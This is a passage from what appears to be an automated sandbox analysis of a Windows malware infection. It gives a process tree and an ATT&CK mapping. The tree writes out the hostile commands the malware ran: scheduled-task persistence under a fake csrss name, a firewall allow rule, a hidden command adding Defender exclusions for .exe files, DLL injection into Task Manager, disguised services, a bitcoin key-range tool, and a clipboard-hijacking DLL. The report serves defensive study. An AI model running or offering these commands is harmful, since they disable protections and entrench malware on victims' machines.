        Modifies data under HKEY_USERS
        Suspicious use of AdjustPrivilegeToken
        
        PID:5676
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:1884
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:2040
      - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        6⤵
        
        PID:5328
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        7⤵
        
        PID:2740
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        7⤵
        Creates scheduled task(s)
        
        PID:3996
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        7⤵
        
        PID:5716
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        7⤵
        
        PID:476
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        7⤵
        
        PID:6104
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        7⤵
        
        PID:5940
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:5540
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        7⤵
        Creates scheduled task(s)
        
        PID:5428
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5592 -s 796
        6⤵
        Program crash
        
        PID:3936
  - - C:\Users\Admin\Pictures\en7bdC6C7uE93NEFbnMC0kuj.exe
      "C:\Users\Admin\Pictures\en7bdC6C7uE93NEFbnMC0kuj.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3160
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2000
    - - C:\Users\Admin\Pictures\en7bdC6C7uE93NEFbnMC0kuj.exe
        
        "C:\Users\Admin\Pictures\en7bdC6C7uE93NEFbnMC0kuj.exe"
        5⤵
        Executes dropped EXE
        Checks for VirtualBox DLLs, possible anti-VM trick
        Modifies data under HKEY_USERS
        
        PID:5876
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4992
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        6⤵
        
        PID:5540
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        7⤵
        Modifies Windows Firewall
        
        PID:5628
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:5904
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:2404
  - - C:\Users\Admin\Pictures\Mp7XOI2tCVcqTdJZlwnPVCma.exe
      "C:\Users\Admin\Pictures\Mp7XOI2tCVcqTdJZlwnPVCma.exe"
      4⤵
      Modifies firewall policy service
      Windows security bypass
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Windows security modification
      Checks whether UAC is enabled
      Drops file in System32 directory
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:3308
  - - C:\Users\Admin\Pictures\H3u4pCO4dJRSdgWGEa5PSquC.exe
      "C:\Users\Admin\Pictures\H3u4pCO4dJRSdgWGEa5PSquC.exe" --silent --allusers=0
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Enumerates connected drives
      PID:5608
    - - C:\Users\Admin\Pictures\H3u4pCO4dJRSdgWGEa5PSquC.exe
        
        C:\Users\Admin\Pictures\H3u4pCO4dJRSdgWGEa5PSquC.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.59 --initial-client-data=0x2b0,0x2b4,0x2b8,0x28c,0x2bc,0x6a4fe1d0,0x6a4fe1dc,0x6a4fe1e8
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5684
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\H3u4pCO4dJRSdgWGEa5PSquC.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\H3u4pCO4dJRSdgWGEa5PSquC.exe" --version
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5796
    - - C:\Users\Admin\Pictures\H3u4pCO4dJRSdgWGEa5PSquC.exe
        
        "C:\Users\Admin\Pictures\H3u4pCO4dJRSdgWGEa5PSquC.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=0 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=5608 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240423222839" --session-guid=0dbd8e05-38b9-41e0-9731-c55ce2205258 --server-tracking-blob="MmZlOWRjMDliMWEwYTUzNzU2NjA0YTgzMjY4YjdiMzRhMDkxNTU3N2FiOTE5ZDZiOTFhYWYyMGZmMjE5YmY1ZDp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2N19fNDU2Iiwic3lzdGVtIjp7InBsYXRmb3JtIjp7ImFyY2giOiJ4ODZfNjQiLCJvcHN5cyI6IldpbmRvd3MiLCJvcHN5cy12ZXJzaW9uIjoiMTEiLCJwYWNrYWdlIjoiRVhFIn19LCJ0aW1lc3RhbXAiOiIxNzEzOTExMzA0Ljk1NjEiLCJ1dG0iOnsiY2FtcGFpZ24iOiI3NjdfXzQ1NiIsIm1lZGl1bSI6ImFwYiIsInNvdXJjZSI6Im1rdCJ9LCJ1dWlkIjoiNWJkNjQyOGYtZGY1NC00N2M0LWJlMzctM2UxY2FhYzYzZjgxIn0= " --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=3005000000000000
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Enumerates connected drives
        
        PID:5984
      - C:\Users\Admin\Pictures\H3u4pCO4dJRSdgWGEa5PSquC.exe
        
        C:\Users\Admin\Pictures\H3u4pCO4dJRSdgWGEa5PSquC.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.59 --initial-client-data=0x2bc,0x2c0,0x2c4,0x28c,0x2c8,0x69b7e1d0,0x69b7e1dc,0x69b7e1e8
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:6056
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404232228391\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404232228391\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe"
        5⤵
        
        PID:560
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404232228391\assistant\assistant_installer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404232228391\assistant\assistant_installer.exe" --version
        5⤵
        
        PID:5400
      - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404232228391\assistant\assistant_installer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404232228391\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.45 --initial-client-data=0x234,0x238,0x23c,0x210,0x240,0xa26038,0xa26044,0xa26050
        6⤵
        
        PID:412
  - - C:\Users\Admin\Pictures\646pL31rq3OQfotZOK2uJFbF.exe
      "C:\Users\Admin\Pictures\646pL31rq3OQfotZOK2uJFbF.exe"
      4⤵
      PID:1444
    - - C:\Users\Admin\AppData\Local\Temp\7zSC464.tmp\Install.exe
        
        .\Install.exe /nxdidQZJ "385118" /S
        5⤵
        
        PID:3332
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        6⤵
        
        PID:3312
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        
        PID:2000
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        
        PID:2128
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        9⤵
        
        PID:1532
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bWycNackLSywaqkmgR" /SC once /ST 22:30:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\OJRKOUI.exe\" em /KUsite_idAYa 385118 /S" /V1 /F
        6⤵
        Creates scheduled task(s)
        
        PID:4700
  - - C:\Users\Admin\Pictures\5m3WXwHLQaRHQ58t4o0jZLK0.exe
      "C:\Users\Admin\Pictures\5m3WXwHLQaRHQ58t4o0jZLK0.exe"
      4⤵
      PID:5196
    - - C:\Users\Admin\AppData\Local\Temp\7zS478E.tmp\Install.exe
        
        .\Install.exe /nxdidQZJ "385118" /S
        5⤵
        
        PID:1128
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        6⤵
        
        PID:5676
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        
        PID:5180
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        
        PID:2424
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        9⤵
        
        PID:224
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bWycNackLSywaqkmgR" /SC once /ST 22:30:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\GSJaYPt.exe\" em /Qxsite_idxPH 385118 /S" /V1 /F
        6⤵
        Creates scheduled task(s)
        
        PID:5156
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
    3⤵
    PID:104
- C:\Users\Admin\AppData\Local\Temp\1000208001\install.exe
  "C:\Users\Admin\AppData\Local\Temp\1000208001\install.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  PID:2672
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameServerClient\installg.bat" "
    3⤵
    PID:3456
  - - C:\Windows\SysWOW64\sc.exe
      Sc delete GameServerClient
      4⤵
      Launches sc.exe
      PID:3140
  - - C:\Program Files (x86)\GameServerClient\GameService.exe
      GameService remove GameServerClient confirm
      4⤵
      Executes dropped EXE
      PID:2540
  - - C:\Program Files (x86)\GameServerClient\GameService.exe
      GameService install GameServerClient "C:\Program Files (x86)\GameServerClient\GameServerClient.exe"
      4⤵
      Executes dropped EXE
      PID:1856
  - - C:\Program Files (x86)\GameServerClient\GameService.exe
      GameService start GameServerClient
      4⤵
      Executes dropped EXE
      PID:4872
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameServerClient\installc.bat" "
    3⤵
    PID:2424
  - - C:\Windows\SysWOW64\sc.exe
      Sc delete GameServerClientC
      4⤵
      Launches sc.exe
      PID:2860
  - - C:\Program Files (x86)\GameServerClient\GameService.exe
      GameService remove GameServerClientC confirm
      4⤵
      Executes dropped EXE
      PID:4420
  - - C:\Program Files (x86)\GameServerClient\GameService.exe
      GameService install GameServerClientC "C:\Program Files (x86)\GameServerClient\GameServerClientC.exe"
      4⤵
      Executes dropped EXE
      PID:5468
  - - C:\Program Files (x86)\GameServerClient\GameService.exe
      GameService start GameServerClientC
      4⤵
      Executes dropped EXE
      PID:952
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "
    3⤵
    PID:5924
- C:\Windows\SysWOW64\rundll32.exe
  "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main
  2⤵
  - Blocklisted process makes network request
  - Loads dropped DLL
  PID:2004

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2716 -ip 2716
1⤵
PID:1924

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 1012 -ip 1012
1⤵
PID:2544

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 4740 -ip 4740
1⤵
PID:4928

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4992 -ip 4992
1⤵
PID:276

C:\Program Files (x86)\GameServerClient\GameService.exe
"C:\Program Files (x86)\GameServerClient\GameService.exe"
1⤵
- Executes dropped EXE
PID:3828
- C:\Program Files (x86)\GameServerClient\GameServerClient.exe
  "C:\Program Files (x86)\GameServerClient\GameServerClient.exe"
  2⤵
  - Executes dropped EXE
  PID:4804
- - C:\Windows\Temp\864979.exe
    "C:\Windows\Temp\864979.exe" --list-devices
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:2972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:1136

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 2576 -ip 2576
1⤵
PID:4420

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 1884 -ip 1884
1⤵
PID:2348

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 4436 -ip 4436
1⤵
PID:5340

C:\Program Files (x86)\GameServerClient\GameService.exe
"C:\Program Files (x86)\GameServerClient\GameService.exe"
1⤵
- Executes dropped EXE
PID:3272
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:4872
- C:\Program Files (x86)\GameServerClient\GameServerClientC.exe
  "C:\Program Files (x86)\GameServerClient\GameServerClientC.exe"
  2⤵
  - Executes dropped EXE
  PID:5280
- - C:\Windows\Temp\104817.exe
    "C:\Windows\Temp\104817.exe" --coin BTC -m ADDRESSES -t 0 --range 2aed49802c0000000:2aed49802e0000000 -o xxx0.txt -i C:\Windows\Temp\curjob.bin
    3⤵
    - Executes dropped EXE
    PID:4448

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 4708 -ip 4708
1⤵
PID:5408

C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
1⤵
PID:4152

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 5592 -ip 5592
1⤵
PID:4764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Virtualization/Sandbox Evasion